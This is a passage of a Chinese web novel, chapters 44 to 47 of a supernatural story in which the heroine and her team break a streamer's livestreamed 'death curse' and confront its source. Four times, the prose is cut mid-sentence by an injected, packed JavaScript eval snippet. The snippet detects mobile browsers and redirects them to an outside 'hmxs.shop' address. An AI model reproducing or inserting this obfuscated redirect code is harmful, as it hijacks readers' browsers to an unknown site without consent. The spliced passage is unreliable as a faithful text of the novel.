“都安静!不许说话!谁再发出声音,就也给我到后面罚站!” 一个戴着厚厚眼镜,表情严肃的老师敲着讲台,“你!直到你找到下一个违反纪律的人来接替你!否则就站到下课!” 教室里鸦雀无声,只剩下笔尖划过纸张的沙沙声。还是个学生的导演坐在纪律委员的位置上,腰板挺得笔直,心中有一种微妙的优越感—— 毕竟他有权力记录谁在说话,换言之,他有权利让谁罚站。 突然,后排传来一声极轻微的嗤笑,是后桌的朋友在传纸条。 “纪律委员!记下他!”老师立刻指向那个方向。 导演心中一跳,有些犹豫,但在老师严厉的目光下,还是在纪律本上写下了后桌同学的名字。 “刚刚被记上名字的人,也后面站着去!”老师命令道,“待会我回来,看看还有谁说话被记上了!” 后桌的同学站起身,低着头走到教室最后面的墙壁前,面壁罚站。 时间一点点过去,他仿佛能感觉到全班同学偶尔投来的目光,如芒在背。 这种感觉如同受刑,他渴望回到座位,从这“囚犯”的位置上下来。 终于,在站了将十几分钟后,前排一个女生忍不住打了个哈欠,声音稍微大了一点。 正在罚站的后桌同学像抓住救命稻草般立刻喊道:“纪律委员!她说话了!” 导演,此时应该叫他纪律委员,他看了一眼那个女同学,他有点不喜欢这个人。 他在纪律本上写上那个女同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655174|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学的名字,淡淡说道:“记上了。” 那一刻,被罚站的后桌同学脸上露出了如释重负,甚至有一丝解脱和快意的表情,而女同学则一脸委屈,不情愿地替换了他的位置。 导演将这一切尽收眼底,一种扭曲的念头如同毒藤,悄悄缠绕上他的心头。 场景骤然变换,速度加快。 同样是晚自习,同样的规则,但导演似乎越来越“擅长”发现那些细微的“违纪”。 不止是同学之间正常的交流,到后来,一声咳嗽,甚至水笔掉在地上的惊呼……他都能敏锐地指出其违反纪律。 他开始享受这种“指认”的权力,看着被罚站的人从一开始的委屈,到后来的焦躁、不安,最后像困兽一样,死死盯着教室里的每一个人,渴望找出下一个“替罪羊”来解脱自己。 渐渐的,导演发现,当越来越多的人默认这种规则,那种无形的规则之力,就会越来越大。 一开始只是同学不由自主地罚站,后面甚至演变成为残忍的“大冒险”,那些被迫接力的同学,甚至能够被强制执行大家投票选择惩罚方式。 导演则处于这个扭曲游戏的中心,感受着一种操控他人命运的病态愉悦。 这种权利并未持续太久,因为导演毕业了。 他离开了学校,但那种源于晚自习罚站游戏的扭曲规则并未消失,反而在社会这个更大的“教室”里发酵和膨胀。 导演做过几份工作,都因为喜欢搬弄是非、挑拨离间而干不长久,他总觉得别人是“坏人”,是“贪心的”、“不守规矩的”,活该被惩罚。 某一天,在他又一次因为“揭露同事摸鱼”而被辞退后,他窝在出租屋里,心中充满了对世界的憎恶。 他回想起晚自习的场景,那种牵头指认别人,开始厄运诅咒的接力,看着别人在规则下煎熬的快感,如此鲜明。 “凭什么只有我倒霉……”他喃喃自语,眼神疯狂,就在这时,他感觉到体内某种东西“苏醒”了。 仿佛是为了回应他多年来积累的扭曲欲望,无数来自类似场景的阴暗能量,在导演身上凝聚,最终成为了一个厄运诅咒的本源。 它饥渴,需要养分——需要更多的“认可”,更多的“关注”,更多的“规则执行”来壮大自己 导演很快盯上了能同时接触最多人的方式——互联网。 最初,他只是恶作剧般地在评论区发送一些诅咒留言,比如不复制这段话到其他评论区,你的运气将下降一万倍…… 他发现,每当对方真的因为恐惧而试图流转厄运诅咒给他人时,那股无形的力量就会变得活跃。 而当对方失败,在极度恐惧中被诅咒折磨时,那股力量便会猛地增强一丝! 导演明白了……这些都是“认可”,是可以利用的规则!是他存在的价值! 于是,“死亡直播间”诞生了,他用怪谈论坛里淘来的可以监控他人的手机道具,追踪了直播视角,制定了更清晰、更残酷的规则。 他化身【惊悚片导演】将自己内心深处那个扭曲的晚自习游戏,包装成了所谓的“正义审判”。 他享受地看着那些“演员”在规则中挣扎,享受地看着观众下注,享受着自己作为“导演”和“纪律委员”的无上权力。 每一次直播,每一次赌局,每一次处刑,都是对那个身上那个怪谈规则的献祭。 它在导演的体内,与他的灵魂共生,汲取着恶意与关注,不断壮大,直播间的规则之力,也因此越来越强,越来越无法抗拒。 季青“看”到的画面随着庄周蝶的消失而逐渐消散,她感受到了一种对秩序和惩罚的病态渴求,对他人痛苦的贪婪吮吸。 绝不放任这种恶意! 季青重新链接上语音群,制订了作战计划,然后终于给坐在长椅上焦急等待的亮仔发了信息: 【定位发给我。】 45. 谁捡了我的手机(六) 好不容易等来信息的亮仔几乎是从街边的长椅上跳了起来,不仅发了定位共享,还把前后左右的街景都拍了发给季青,生怕季老师找不到他。 “拯救亮仔紧急行动,开始!”群语音还连接着,余子夜兴奋的声音从季青的耳机里传来,“小季青,再带我们复习一下作战计划吧?” 季青戴上棒球帽和口罩将自己的脸遮盖得严严实实,一边带上小电驴的钥匙准备出门找亮仔,一边给捉诡小队梳理现在的情况和接下来的计划,她的语速很快,吐字却很清晰,相当有条不紊—— “首先要明确的是,导演的诅咒力量,根源并非来自他本人。它的本质,是一种需要‘集体认同’才能存在的‘规则’!” 季青开始向众人解释她在论坛核实到的信息和一些自己的猜测: “根据我在论坛核实到的信息,我认为导演虽然是诅咒能力的发起者,但他自身并不是这个怪谈力量的源泉,也并不具备控制这个诅咒的能力!” 无论是导演学生时代的班规,还是后来他在网上散布的诅咒,甚至于现在的死亡直播间,大家对规则的认同,都不来源于导演本身。 根据季青所见的记忆,导演那诅咒能力的开始,是学生时代晚自习那个“罚站接力”的班规。 规则最初由班主任定下,虽然由导演代为执行,但它的持续运转,全部依赖于全班同学对班主任权威的默许和认同,当一个被罚站的人为了解脱而去指认下一个人时,这种认同就被强化了。 而现在的死亡直播间,被诅咒的玩家该被怎样处刑,也轮不到导演来选择,而是由“观众代表”——即榜一来决定! 导演只是一个狐假虎威的小丑,他依赖着大众对某个观点的认同! “导演利用人们对‘贪心’的普遍反感作为道德制高点,将捡到手机不还定义为‘坏’,将处刑定义为‘正义’。直播间的观众,在他们的潜意识里,认同了这套逻辑。” “观众们的每一次观看、讨论和下注,就像当年教室里那些默许班主任那不合理惩罚制度的同学们一样,成了滋养这条诅咒规则的力量源泉!” 不落木立刻领悟,接上了话:“所以,导演那浮夸的表演和噱头并不只是为了直播热度,更大程度上其实是利用了先入为主的手段,将所有人的注意力引导至错误的方向,让大家以为诅咒手机真的存在,以此掩盖他根本控制不了诅咒的事实。” “难怪每次手机流转的时候都要重复一遍那个诅咒内容!”余子夜也在反应了过来,“就像过去电视台会有那种,一条重复好几遍连播的洗脑广告。” “没错!”季青已经骑上了小电驴,开往亮仔所处的街道,“现在我们要做的,就是打破这个被导演植入给观众的假规则,动摇这条规则的根基,让直播脱离导演预期的方向!” “收到。”不落木慢条理斯地敲着键盘,作为蜗居十年从未出门的高强度互联网玩家和诡异论坛的资深用户,他太熟悉怎么在网上煽动情绪和带节奏了。 【某大主播靠杀人直播赚了多少钱了?】 【揭发虚假直播!关于导演直播间的手机是否真的被诅咒】 【当场脱粉,不想吃人血馒头了】 【某大主播直播时破防,当场拉黑榜一】 帖子发出去没多久就引起了讨论,尤其是发帖人还是以擅长收集和考据怪谈规则信息的不落木,很快就有其他心有疑虑的论坛用户纷纷冒出来评论,更有甚者新开数帖跟上。 不落木则仍慢条斯理地为自己的揭发帖添砖加瓦,还抽空在语音里问了季青一句:“规则部分可以引用你的话吗,需不需要@你一下?” 季青表示不用,顺便问了其他人的情况。 余子夜率先在群里兴奋地汇报自己的进度—— “小季青你真是我的福星,我跟你说我这期电台收听人数肯定打破纪录!” 她已经已最快的迅速制作了一期简短有力的新闻稿,以“起底某死亡直播间真相”、“无辜大学生卷入致命游戏”为角度,将这个怪谈规则扩散给了论坛外的听众。 节目上传期间,余子夜也没闲着,她还顺手跑到诡异论坛里给那些反对导演行为、揭露直播真相的帖子挨个点赞。 “你们速度都这么快?我还在路上!”语音里的江大河听起来有一些焦急,他正往派出所赶,昨天他值班没看上直播,没想到今天好不容易抽空看直播了,却还要来单位加班。 而此时,季青也终于骑着小电驴赶到了亮仔所在的街道,常岚也从对面的路口朝她这边飞奔过来,两人一碰面就默契地击了个掌。 季青掏出手机,在共享定位的帮助下顺利找到了亮仔。 亮仔已经有些坐不住了,想要站起来走走缓解一下郁闷的情绪,却又害怕季青找不到他,只好焦急地围着长椅打转,直播视角正牢牢锁定着他,将他滑稽的行动无情地展示给屏幕前的观众,看起来又好笑又可怜。 季青深吸一口气,与常岚对视一眼,两人大步走了过去。 “亮仔!” 季青的声音清晰又响亮,瞬间将亮仔从“宕机”状态唤起。 亮仔抬起头,看到朝他走来的季青和常岚,立刻小跑过来迎接:“季老师!你终于来了!!” 直播镜头自然也捕捉到了季青和常岚的到来,弹幕立刻热闹起来: “解锁新角色了?” “是帮手吗?” “来的人是不是知道在直播,用帽子口罩把脸挡这么严实。” “导演别吹牛了!快看!有进展!” 正在滔滔不绝吹嘘自己“制裁”他人光辉事迹的导演,这时也通过弹幕注意到直播画面,看到了季青和常岚。 不知为何,导演感到了一阵心慌和不安,他死死盯着画面中的三人,但嘴巴却在直播间发出戏谑的声音: “哦?看来我们的演员等来了他的救兵?可惜,规则就是规则,谁也改变不了!” 耳机还连接着直播间,这番嘲讽也让季青听到了,但季青没有理会导演的画外音,她直接走到亮仔面前,目光平静地看向他,也仿佛透过他,看向了无数正在观看直播的观众。 “亮仔,你并没有做错什么。“ 她通过直播,向所有观众宣告:“你只是落入了一个被真正的坏人精心编织的陷阱,这部手机,也并非带着什么诅咒。” 此话一出,余子夜和不落木立马展开配合,开始在直播间里发送诡异论坛里那些带节奏的质疑帖的链接。 导演看着逐渐控制不住的弹幕,声音反而带上了一丝逞强般的愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667724|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒,准备恶人先告状:“纯粹胡说八道!老铁们,这人空口污蔑我玩假的!谁不知道在论坛扭曲规则,可是要付出代价的!公道自在人心啊各位!” 季青依旧不理他,继续对亮仔,也是对所有人说: “真正的诅咒,从来不是这部手机,而是那个躲在屏幕后面,自诩为正义使者,却肆意玩弄生命、扭曲规则的‘导演’!” “他利用了大家对‘贪心’的厌恶,编造了一套‘正义审判’的谎言,让你们在潜意识里认同了他的暴行!” “看看亮仔,他是因为贪心才拿起手机的吗?不,他是被欺骗的!” “导演的规则,从一开始就错了!” 常岚适时上前一步,举起自己的手机,屏幕上显示着不落木在论坛的发言截图和余子夜电台节目下的热门评论,他朗声道: “看看!这才是大家认可的真相!已经有很多人看穿了你的把戏!你所谓的正义,不过是掩盖你拙劣把戏的遮羞布!” 导演显然没料到对方会如此直接地在直播中撕破脸,更没想到直播间外的舆论已经开始转向,他气急败坏地吼道:“来砸场子的是吧?懂不懂论坛的规矩?你们这是在挑战规则!” “规则?”季青将帽檐微微抬起,露出眼睛,好像是在透过直播画面看向导演,“是你的规则?直播间的规则?还是大家制定的规则?!” 接着,她伸出手,对亮仔说:“把手机给我。” 亮仔如同抓住救命稻草,毫不犹豫地将那烫手山芋般的手机递到季青手中。 季青拿起手机,在直播镜头的注视下,高高举起—— “导演,你看好了!这部你用来进行‘正义游戏’的道具,现在我用一块钱,从亮仔手里‘买’下来了。” 她真的从口袋里掏出一枚原本打算给小电驴充电用的一元硬币,放在了亮仔手中。 “按照你那套可笑的逻辑,现在诅咒已经流转到了我的身上。” “但我告诉你,也告诉所有在看直播的人——我拿起它,不是为了延续你的死亡游戏!” “你不是喜欢赌吗?好啊!我们换个赌法!” 季青目光锐利,声音坚定,铿锵有力的话语清晰地传达到了亮仔、常岚、余子夜、江大河、不落木以及观看直播的每一个人耳中: “我们来赌——是你发起的诅咒能继续生效,还是我能够彻底终结这荒谬的游戏!” “我在此宣布,将会终止这场丑陋的诅咒接力!” 仿佛是为了回应这石破天惊的宣言,直播间的界面中,那原本已经停止下注的赌盘,突然开始剧烈地闪烁和扭曲! 直播间的弹幕彻底疯狂了,无数或支持或嘲讽或质疑的弹幕接连刷屏。 观众们被这突如其来的反转,以及一种可能颠覆一切的刺激感所点燃!他们潜意识中的期待,从看一场针对普通人的单方面的处刑,转向了看一场诡异论坛用户之间关乎规则的对决! 在这股汹涌的集体潜意识的变化下,旧的赌盘数据和画面彻底崩坏,下一秒,在直播间观众们目光的注视下,两个全新的对赌选项,在直播界面中央缓缓浮现: 【诅咒终止】VS【恶意永存】 规则的力量已然超出了导演的掌控,全新的赌盘正式开启! 46. 谁捡了我的手机(七) 已经回到家里,躲在电脑屏幕后的导演盯着持续翻滚的直播间弹幕,额上冒着冷汗。 电脑屏幕的冷光映照着导演惊慌失措的脸。 如今直播的内容已经完全超出了他这个主播的掌控,作为诅咒力量的核心,他能清晰地感觉到,那股赖以生存的力量,正随着舆论的倒戈而飞速流失,甚至开始反噬自身。 “控评!必须控评!”他喃喃自语,手指颤抖地在拉黑列表上疯狂点击,将【子夜异闻余子夜】等几个跳得最凶的观众踢出直播间并拉黑,他以为这样就能掐灭反对的声音,仿佛掩耳盗铃。 “我是被针对了,让黑粉都滚出直播间!”随着导演的不断点击,下一秒,余子夜的账户突然被强制退出直播间。 “咦惹,这人把我踢出直播间了。”余子夜尝试重新登录直播间,但显示对方已将自己拉黑,只好在群里汇报进度,“看样子是打算冷处理?如果他一直控评怎么办?” 不落木冷哼一声:“那也要控得住才行。” 果然,导演粗暴的拉黑举动如同火上浇油,不落木抓住这一点,带着他那一撮论坛粉丝,发起了更加猛烈的舆论反击: 【弹幕一下子少了这么多,主播破防踢人了?】 【果然是做贼心虚,见不得真相大白】 【一言不合就捂嘴,还好意思在论坛谈规则】 新的弹幕居然更加刻薄,场面越发难以控制,难道今天就要栽在这里了吗?冷汗浸透了导演的后背,被空调的冷风一吹,冷得他打了个哆嗦,才让他从绝望中缓缓回神—— “是你们逼我的!是你们逼我的!”一股破罐子破摔的狠厉随着涌上来,“既然不让我好过,那你也别想好过!赢了这一把赌局,我就能踩着这个人的尸体飞升!” 导演立刻坐直身体,重新戴上耳机,打开话筒,继续了直播。 “直播间的老铁们,冷静!听我说!”导演的声音逐渐拔高,他在直播间里尝试和季青对话,“这个来踢馆的,你口口声声说我是在扭曲正义作噱头,那你呢?” “你在我的直播间煽动舆论,引导别人网暴我!” 导演最终还是没能维持住大主播的体面,他在昏暗的房间里挥舞着拳头,义愤填膺地喊道:“不过都是吃人血馒头流量的恶人,你有什么资格站在道德高地针对我?” 泼脏水果然有用,这下,导演拉低了季青的立场,在观众的心里再次种下怀疑的种子,弹幕出现了一阵混乱,大部分观众开始摇摆不定。 弹幕讨论得激烈,导演也在持续输出着情绪,而季青却没有新的动作,直播画面中的几人仍站在街道僻静的角落。 “看看!没话说了吧!还说要终结诅咒?” 导演抓住这个机会,唾沫横飞,企图扭转观众们对赌盘选项的理解,往利于他的方向下注—— “这就是现实!人性本恶!你不过也是一个打着正义幌子博眼球的骗子!【恶意永存】!” 【恶意永存】!【恶意永存】!【恶意永存】! 直播间的投注发生了倾斜,余子夜焦急的声音在语音群里响起:“这样下去小季青会被处刑的!老江你快点啊!” 江大河一直没说话,所有人都在等,幸好,没过一会语音群里就传来了江大河激动的声音:“我找到了!真的有!相关内容我现在就整理发给你们!” 干得漂亮!语音群里的其他人都松了一口气,季青则是迅速点开江大河发来的信息,快速浏览了一下,才终于在直播中出声: “我确实没有‘审判’谁的权利,但,规则和法律可以!” 季青深吸一口气,向导演发起反击—— “你在创建这个死亡直播间之前,就在网上散布过其他的诅咒,伤害了许多无辜的人!” “这不是诡异论坛的直播节目效果,而是证据确凿的犯罪!” 江大河赶去派出所,正是根据季青所见记忆中的内容,去搜索导演以前在网络上散布的恶意诅咒是否引起了事件。 答案是显而易见的,导演发起的诅咒力量曾有一段时间在网络上流传甚广,派出所也接到过相关的报警,但此类举报实在太多,转接网警后便作为一般的网络垃圾信息处理了。 如今已经找到了始作俑者,加上季青记忆碎片中的细节,江大河很快就从资料库中找出了有关导演利用网络散播诅咒的铁证。 季青冷冷望向自己手中那部诡异手机,向导演发出最后通牒: “你还以为自己能逃脱制裁吗?现在,我就要把你从诅咒操纵者的位置上踢下来,接受惩罚!” 导演在屏幕那头,真切地感受到了季青话语中那份确凿的底气,他意识到这个突然冒出来的神秘人,也许真的拿到了能让他得到制裁的罪证! 即将暴露在阳光下的巨大恐慌压倒了导演的最后一丝理智,他愤怒地砸着键盘,最终做出了孤注一掷的选择: “诬陷!”导演歇斯底里地在直播中大声声讨季青:“我倒要看看你要怎么惩罚我!” 导演紧盯着直播画面中的季青,口罩和棒球帽遮住了她的脸,但她身姿挺拔,完全没有一丝慌乱。 季青居然没有否认导演的话,她只是微微一偏头,将那部诡异手机拿起来晃了晃:“你就好好看着吧。” 季青表现得实在太游刃有余,导演慌失措地盯着直播画面,更甚的嘲讽和质疑如同潮水般席卷直播间,导演能感到那维系着诅咒的力量,已经不仅仅是飞速从他的身上离开,而是带着他自身的精力和体力抽离,仿佛在压榨他的生命力。 无力和恐慌紧紧攥住了他的心脏。 不能让直播再继续下去!放任事态发酵的话,他一定会被这股诅咒力量抽干的! 他反应过来,用颤抖的手不停点开电脑屏幕上那诡异论坛直播间的控制界面,找到了【结束直播】按键,点了下去。 没有反应。 为什么会没有反应?! 导演疯狂地点击着那个【结束直播】的按键,但那个按键灰了下去,就在他几乎抓狂地迅速又点击了几十次按键之后,出现了一个他没见过的弹窗: 【管理员01拒绝了您的请求】 【用户[惊悚片导演]在直播间刻意诱导、隐瞒真实规则,对他人造成侵害,经管理员02核实存在,现根据论坛用户条款,管理员01对该直播间进行封禁】 导演无力地瘫坐在电脑前,他居然忘记了,在论坛里,规则就是全部,他已经被那个突然出现搅局的神秘人拉进了规则之中,退无可退。 而欺骗论坛,扭曲规则的代价,是…… 那股可怕的诅咒力量躁动着,在弹窗消失的一瞬间,终于抽干了导演所有的生命力,化作实体,从导演的七窍之中不断涌出! 直播间突然黑了下去,将所有观众弹出,无论大家怎么刷新,都只会显示【该直播间已封禁】。 与此同时,季青的语音群里正热闹着: “直播间被封了,论坛干得好呀!”余子夜兴奋地拍拍手,“这样是不是算我们赢了?” 季青把玩着手上那部诡异手机,冷静地回答:“直播被强行终止,但这不意味着诅咒的消失,毕竟我们赌的是能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672738|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能终止诅咒,还是得解决掉这个怪谈才行。” 而且,封禁直播间应该是管理员的权限,季青还没找到怎么封闭直播间的方法,导演的直播间就被封禁了。 果然,这个论坛存在其他的管理员! “那现在怎么办?”江大河查完资料蹲在派出所门口透气,“我们要去找那个导演吗?我这边想要搜索他的IP地址得走不少程序,天亮之前肯定是行不通的。” “那就靠我们自己,把他抓出来!”季青立刻重新招呼起大家,重新复盘线索。 “我已经把导演直播以来所有出现的地点全部标注了。”不落木率先完成任务,把标注好的地图发到群里,“你们看,几乎是围绕这个区域的中心进行分散直播的,却唯独这个中心没有直播过。“ 季青立刻和常岚骑上小电驴准备赶往不落木提到的区域,临走还没忘记告诉亮仔已经没事了,喊他回家,就立刻启动小电驴,留亮仔一个人在风中凌乱。 “这范围也太大了,还有更准确一点的地址吗?”常岚坐在季青的小电驴后座,声音被风吹得有点模糊。 季青也顶着风喊道:“看看那个区域附近有没有学校,应该是高中。” 在季青看到的记忆碎片中虽然没有导演明确的住址,但导演是土生土长的A市人,记忆碎片中的景色反复围绕着那个高中展开。 导演,大概从未远离过这个恶意诅咒的源头! “有!有一个高中!” 不落木迅速把定位发到群里,常岚在季青的示意下,当即发布了关于这个高中晚自习罚站接力就是导演诅咒力量源头的帖子。 常岚毕竟不是直接参与这个怪谈的人,无法进行核实,季青将小电驴停在路边,用自己的管理员权限,关联核实,让怪谈状态栏立刻变为了【核实存在】! “有了!” 季青马上动用管理员-标记显示的基础权限,论坛界面跳出导航地图,一颗闪烁的红点准确标记到了高中附近的一栋公寓楼。 将情况分享给捉诡小队的其他人之后,二人再次启动小电驴,赶往诅咒的源头。 常岚看了看手机屏幕上的时间,此时离天亮已经不到两小时,他有些心急了,张张嘴,还是没能把话说出口。 季青却好像猜到他要说什么一样,声音慢悠悠传来:“天快亮了吧。” “嗯。”常岚呼出一口气,“紧张吗?” “紧张。”季青虽然这么回答,但声音毫无起伏,一点也不像紧张的样子,常岚坐在后座,看不见季青的表情,但他大概也能猜到,季青应该是笑着的,就像之前数次面对怪谈时一样。 “要不你再发个誓吧,就像之前那样,吕祖在上,一定保护季老师头发都不少一根,那我应该就不紧张了。” “还有心情开玩笑,看样子是真不紧张。”常岚打趣着,却还是伸出手作发誓状:“吕祖在上,我一定保护季老师头发都不少一根!法力加持,诸邪避易!” 插科打诨间,和太阳赛跑的紧张气氛也轻松了些许,小电驴穿过高中后面的街道,那栋定位中的公寓楼出现在视野中。 小电驴的速度骤然放慢,之前所有的轻松调侃都暂时被抛下,两人的脸色同时变得无比凝重。 他们甚至不需要再去寻找导演住在哪一间屋子—— 就在三楼的一扇窗户后,难以言喻的黑暗正在翻涌,一条条由诅咒力量凝聚而成的黑色能量带,正不断从窗缝、通风口甚至墙壁的细微裂缝中钻出,在空中缓缓蠕动,散发着被诅咒之人的绝望。 诅咒的源头,近在咫尺。 47. 谁捡了我的手机(八) 那扇窗户后翻涌的诅咒散发着令人窒息的压迫感,两人站在楼下,对视一眼。 “我感觉不到那里有活人的气息。”常岚微微低头,轻声对着季青说,手已经摸向了特意带来的七星剑,“可能是导演的气息被诅咒的气息掩盖了,但更大的可能性是……” 季青微微皱着眉头,望着那扇不断冒出不详气息的窗户,常岚的话没有说完,意思却已经很明显: 原本凝聚在导演身上的诅咒已经彻底失控,很可能脱离、甚至吞噬了导演。 诅咒就盘绕在那里,季青能感觉到脖子上挂着的三角护身符,此刻对那神秘的诅咒力量产生了共鸣,正在微微发烫,那里确实存在着规则的力量。 “我要上了。”常岚言简意赅,活动了几下肩膀和手臂,迅速进入临战状态,提着七星剑就要冲进公寓楼,“季老师还有什么要吩咐的吗?” 季青合眼,思索着说道,“待会进去,先不慌着除魔,你负责吸引它的注意力,制造混乱,我确认一下导演的情况。” “明白。”常岚深吸一口气,不再多言,两人一前一后坐上了电梯,很快来到了三楼导演所住屋子的门前。 来到门前季青就犯了难,该说不愧是论坛气人主播吗,这公寓虽然算不上十分高档,但比季青租住的强多了,连大门都是合金指纹锁的。 季青尝试性敲了一下门…… 两人站在门口无言对视一眼,常岚试图缓解尴尬的气氛:“敲门没反应,要不按个门铃试试呢?” 就在常岚思考着要不要用激进一点的手段时,隔壁的邻居走了出来,看了傻站在门口的两人一眼,提着垃圾袋坐电梯下了楼。 季青马上按住了常岚想要拔剑破门的手,她立刻意识到,要是被别人发现的话,情况会很麻烦。 倒不是害怕损坏财物,而是A市的规则! 在她自己整理的《A市夜间安全守则》里,就有他们前段时间在A市边缘了解到的情况—— 一旦接触到诡异,就会被A市盯上,越陷越深,直到再也无法离开,在这个满是诡异怪谈的城市困斗致死。 邻居显然还看不见那些浮动的诅咒能量,如果在这里强行破门,让邻居们察觉到异常,也许几位无辜的邻居也会被A市盯上! 季青摇摇头,示意常岚不要让无关的人发觉异常,常岚立马领悟,歪了歪头说: “那换个稍微不那么引人注目的方式?” 说完,他猛地助跑几步,利落地从消防通道跃了出去! 季青赶忙探出头去查看,只见常岚勾手拉着消防通道边缘的栏杆,一下攀附到了导演屋子的墙面上,接着借助立在墙面的水管,一下就蹿到了正对着消防通道的窗户,对准那扇不断渗出黑色能量带的玻璃,将手掌贴在玻璃上,向其中注入元炁。 “咔——” 仿若冰裂般的声音响起,紧接着整面玻璃向内应声而碎! 玻璃后被困住的诅咒能量瞬间躁动,几条舞动的黑色能量带如同被激怒的毒蛇,猛地朝着常岚席卷而来! “退后!”常岚低喝一声,侧身避开第一条能量带的扑击,同时抬手横扫,七星剑的剑鞘与第二条能量带纠缠在一起,他尝试扯了一下剑鞘,发现这能量带居然相当柔韧。 那正好! 常岚的眼睛没有离开过窗口,但他完全能依靠超越常人的身体素质和对危险的直觉预判,躲开袭来的能量带,他将剑鞘转了几圈,用力一扯,借力在空中腾挪,接着松开剑鞘,只勾勾手指将七星剑唤到身边,连人带剑一下从窗户轻巧地跃进了导演家! 窗口就在门边,没过几秒常岚就从内打开了门,季青迅速冲入屋子里,带上了门。 屋里光线昏暗,充斥着黑色的能量带,常岚剑尖轻点在地画了个圈,那些能量带就没有再过来。 季青望着在眼前缓缓浮动的黑色带状能量,这才发现,这些能量带,都是由悬浮着的一个个名字串联组成! 这些数量庞大仿佛没有尽头的名字,正从导演的房间里源源不断涌出! 两人缓缓向房间走去,导演的房门没有锁——或者说,锁已经被门内涌出的力量破坏了,常岚只轻轻一推,门轴就发出令人牙酸的呻吟,打开了。 门后的景象,让一向镇定冷静的季青都深吸一口气。 这已经不是一间普通的房间,由于充满了黑色的名字,空间的边界已经模糊不清,沉浸在一种深邃的黑暗里。 而在客厅中央,导演瘫倒在地上,全身覆盖着黑色的字符,甚至连穿的衣服都已经看不见本色,身体以一种不自然的角度扭曲着,双眼圆睁,瞳孔涣散,显然已经失去了生命体征。 但他的嘴巴却张得极大,黑色的字符正源源不断地从他口中、鼻孔、甚至眼角涌出,爬满了房间的墙壁。 他作为孕育黑暗的蜂房,即将完成使命,此刻新生的诅咒力量正蓬勃而出! 季青和常岚的出现,立刻引起了诅咒本能的反应。房间内的黑暗如同活物般沸腾起来,无数如无头苍蝇一样乱爬的文字,如同找到目标的毒蛇,从四面八方朝着季青蜂拥而至! 常岚迅速挥起七星剑,准确无误地将那些字符一串串弹开! 可同时,一阵阵嗡鸣的声音仿佛穿过耳膜,直接冲击季青的脑海—— “违反纪律……记下名字……” “惩罚……直到找到下一个……” “幸好有你做替死鬼……” “所有人,都该被诅咒!” 诅咒流转过程中吸收的那些充满恶意的念头,试图刺穿季青的意志,强迫她也感受到恐惧! 季青闷哼一声,咬紧下唇,企图用疼痛让自己清醒,她知道不能硬抗,必须找到诅咒的核心一举击破! 必须速战速决! 常岚见季青状态不好,不退反进,迎着几条袭来的文字冲去。他没有硬碰,而是利用矫健的身法和惊人的直觉在有限的空间内穿梭,险之又险地避开一次次缠绕和袭击。 他紧紧盯着导演的身体,试图靠近漩涡,但诅咒能量很快察觉到了他的意图,文字不再形成带状,而是密密麻麻地铺开,将导演的身躯——那还未完全完成孵化的蜂房死死护住,完全遮蔽了两人的视线。 不能放任这股诅咒发育下去! 常岚默默将手指搭上剑锋,万不得已的情况下,他已经打算动用一些动静比较大的剑术,将诅咒核心和这个房间一起超度了! 季青紧皱眉头,迅速思考着——要是有双眼睛可以穿过这层屏障,帮助他们寻找核心就好了! 还真有! 季青立刻想到了自己兜里那部沉甸甸的诡异手机! 她迅速掏出那部诡异手机,在里面登上自己的账号,给常岚打了个视频电话,晃了晃手机示意常岚接起通话。 看到常岚领会了她的意思,接着季青眼神一凛,猛地将兜里那部诡异手机,朝着导演身体所在的大概方向狠狠掷去! 手机在空中划出一道抛物线,与诅咒力量长时间接触的手机并没有受到诅咒力量的阻拦,而是穿过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678401|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了屏障! 常岚屏住呼吸,他的全部心神,都聚焦在手机屏幕显示的画面上—— 仿佛电影中的慢镜头,飞快坠落中的手机此刻也仿佛减缓了下坠,画面显示出的诅咒核心翻涌不息。 就是现在! 常岚漆黑的瞳孔锁定了位置,持剑的右手骤然发力,体内奔腾的元炁以前所未有的速度向着七星剑的剑尖疯狂汇聚。 